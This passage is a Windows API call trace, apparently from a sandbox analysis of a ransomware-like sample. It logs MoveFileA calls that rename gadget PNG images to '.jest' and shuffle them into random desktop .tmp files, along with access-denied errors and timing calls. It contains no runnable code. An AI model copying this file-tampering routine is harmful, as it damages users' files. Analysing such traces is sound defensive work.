(x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_kijbmtu2whfztb_ka97wgk9j8tbr5xbnntlbjylw4gv6vcexlqvurohx3c0epifypllwvv youhhq1klsmy90llxrttrcbzyw9zy.tmp")) returned 0 [0126.859] GetLastError () returned 0x5 [0126.859] GetLastError () returned 0x5 [0126.859] SetLastError (dwErrCode=0x5) [0126.859] GetLastError () returned 0x5 [0126.859] SetLastError (dwErrCode=0x5) [0126.859] GetLastError () returned 0x5 [0126.859] SetLastError (dwErrCode=0x5) [0126.859] GetFullPathNameA (in: lpFileName="_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", lpFilePart=0x18e6e4*="_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp") returned 0x8f [0126.859] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a696b5f, cFileName="bMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.860] GetLastError () returned 0x2 [0126.860] GetLastError () returned 0x2 [0126.860] SetLastError (dwErrCode=0x2) [0126.863] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.863] GetTickCount () returned 0x115228f [0126.863] GetTickCount () returned 0x115228f [0126.863] CoFreeUnusedLibraries () [0126.863] GetTickCount () returned 0x115228f [0126.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.863] GetTickCount () returned 0x115228f [0126.863] IsWindowVisible (hWnd=0x30268) returned 0 [0126.863] Sleep (dwMilliseconds=0x0) [0126.864] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png.jest")) returned 0 [0126.866] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png", lpFilePart=0x18e6d8*="6.png") returned 0x50 [0126.866] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08bcabc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x57, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 0x143ce48 [0126.867] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.870] VarBstrFromR4 (in: fltIn=0x47944560, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.75") returned 0x0 [0126.872] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.872] GetTickCount () returned 0x115229e [0126.872] GetTickCount () returned 0x115229e [0126.872] CoFreeUnusedLibraries () [0126.872] GetTickCount () returned 0x115229e [0126.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.872] GetTickCount () returned 0x115229e [0126.872] IsWindowVisible (hWnd=0x30268) returned 0 [0126.872] Sleep (dwMilliseconds=0x0) [0126.873] GetFullPathNameA (in: lpFileName=" Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", lpFilePart=0x18e708*=" Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp") returned 0x8e [0126.873] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png", lpFilePart=0x18e708*="6.png") returned 0x50 [0126.873] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ yy9tdxziqborix1ynpcusekoyvxdg5yqhu jplv0w hro73veei-lzixmr2bwu8 zn8mzdkg7h2dyzkg7wizjvrvuwdw_9smrf9.tmp")) returned 0 [0126.875] GetLastError () returned 0x5 [0126.875] GetLastError () returned 0x5 [0126.876] SetLastError (dwErrCode=0x5) [0126.876] GetLastError () returned 0x5 [0126.876] SetLastError (dwErrCode=0x5) [0126.876] GetLastError () returned 0x5 [0126.876] SetLastError (dwErrCode=0x5) [0126.876] GetFullPathNameA (in: lpFileName=" Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", lpFilePart=0x18e6e4*=" Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp") returned 0x8e [0126.876] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ Yy9TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39795920, cFileName="TDxZiqbORIX1yNPcUsEKOyvXdG5YQhu jPlV0W hRO73veei-LzIxmR2BwU8 ZN8mzDKG7H2dYzkG7WiZjVrvUwDW_9sMRf9.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.876] GetLastError () returned 0x2 [0126.876] GetLastError () returned 0x2 [0126.876] SetLastError (dwErrCode=0x2) [0126.879] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.879] GetTickCount () returned 0x115229e [0126.879] GetTickCount () returned 0x115229e [0126.879] CoFreeUnusedLibraries () [0126.880] GetTickCount () returned 0x115229e [0126.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.880] GetTickCount () returned 0x115229e [0126.880] IsWindowVisible (hWnd=0x30268) returned 0 [0126.880] Sleep (dwMilliseconds=0x0) [0126.881] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png.jest")) returned 0 [0126.883] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png", lpFilePart=0x18e6d8*="7.png") returned 0x50 [0126.883] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x57, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 0x143ce48 [0126.884] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.887] VarBstrFromR4 (in: fltIn=0x47944562, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.77") returned 0x0 [0126.888] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.888] GetTickCount () returned 0x11522ae [0126.888] GetTickCount () returned 0x11522ae [0126.888] CoFreeUnusedLibraries () [0126.888] GetTickCount () returned 0x11522ae [0126.888] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.888] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.888] GetTickCount () returned 0x11522ae [0126.888] IsWindowVisible (hWnd=0x30268) returned 0 [0126.888] Sleep (dwMilliseconds=0x0) [0126.890] GetFullPathNameA (in: lpFileName="JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", lpFilePart=0x18e708*="JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp") returned 0x8e [0126.890] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png", lpFilePart=0x18e708*="7.png") returned 0x50 [0126.890] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jwsjws26rr9xc82ypjeg6vhj4fg 0ppc_40bzlo0iju-q7rp7f9tpxyxw6v2bnygoz_fv7kdq0jb3aqoeq-v0iupdb3z0sift-iv.tmp")) returned 0 [0126.892] GetLastError () returned 0x5 [0126.892] GetLastError () returned 0x5 [0126.892] SetLastError (dwErrCode=0x5) [0126.893] GetLastError () returned 0x5 [0126.893] SetLastError (dwErrCode=0x5) [0126.893] GetLastError () returned 0x5 [0126.893] SetLastError (dwErrCode=0x5) [0126.893] GetFullPathNameA (in: lpFileName="JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", lpFilePart=0x18e6e4*="JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp") returned 0x8e [0126.893] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JwsJWS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a73774a, cFileName="WS26rR9xC82ypJEG6VhJ4fG 0PpC_40BZLO0ijU-Q7rp7F9TpXYxw6V2BnYgoz_Fv7kDQ0jB3aqOeQ-V0iUPDb3Z0SifT-Iv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.893] GetLastError () returned 0x2 [0126.893] GetLastError () returned 0x2 [0126.893] SetLastError (dwErrCode=0x2) [0126.896] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.896] GetTickCount () returned 0x11522ae [0126.896] GetTickCount () returned 0x11522ae [0126.896] CoFreeUnusedLibraries () [0126.896] GetTickCount () returned 0x11522ae [0126.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.896] GetTickCount () returned 0x11522ae [0126.896] IsWindowVisible (hWnd=0x30268) returned 0 [0126.896] Sleep (dwMilliseconds=0x0) [0126.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.915] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.916] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest") returned 0x55 [0126.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest", cchWideChar=85, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 85 [0126.916] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest") returned 0x55 [0126.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest", cchWideChar=86, lpMultiByteStr=0x14cf144, cbMultiByte=86, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest", lpUsedDefaultChar=0x0) returned 86 [0126.916] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png") returned 0x50 [0126.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0126.916] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png") returned 0x50 [0126.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", cchWideChar=81, lpMultiByteStr=0x1467bd4, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", lpUsedDefaultChar=0x0) returned 81 [0126.916] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png.jest")) returned 0 [0126.919] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴停捩畴敲畐空敬䜮摡敧屴浉条獥㡜瀮杮") returned 0x50 [0126.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0126.919] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴停捩畴敲畐空敬䜮摡敧屴浉条獥㡜瀮杮") returned 0x50 [0126.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=81, lpWideCharStr=0x144eaec, cchWideChar=161 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png") returned 81 [0126.919] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴停捩畴敲畐空敬䜮摡敧屴浉条獥㡜瀮杮樮獥t") returned 0x55 [0126.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0126.919] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴停捩畴敲畐空敬䜮摡敧屴浉条獥㡜瀮杮樮獥t") returned 0x55 [0126.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=86, lpWideCharStr=0x144ddec, cchWideChar=171 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.jest") returned 86 [0126.919] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", lpFilePart=0x18e6d8*="8.png") returned 0x50 [0126.919] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0f5423, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0f5423, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x57, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 0x143ce48 [0126.920] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.922] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0126.922] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0126.922] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x31a)) [0126.923] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.923] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x31a)) [0126.923] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x31a)) [0126.923] GetUserDefaultLCID () returned 0x409 [0126.923] VarBstrFromR4 (in: fltIn=0x47944566, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.8") returned 0x0 [0126.923] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.924] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0126.924] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0126.925] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.925] GetTickCount () returned 0x11522cd [0126.925] GetTickCount () returned 0x11522cd [0126.925] CoFreeUnusedLibraries () [0126.925] GetTickCount () returned 0x11522cd [0126.925] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.925] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.925] GetTickCount () returned 0x11522cd [0126.925] IsWindowVisible (hWnd=0x30268) returned 0 [0126.925] Sleep (dwMilliseconds=0x0) [0126.933] VarCat (in: pvarLeft=0x18e9bc, 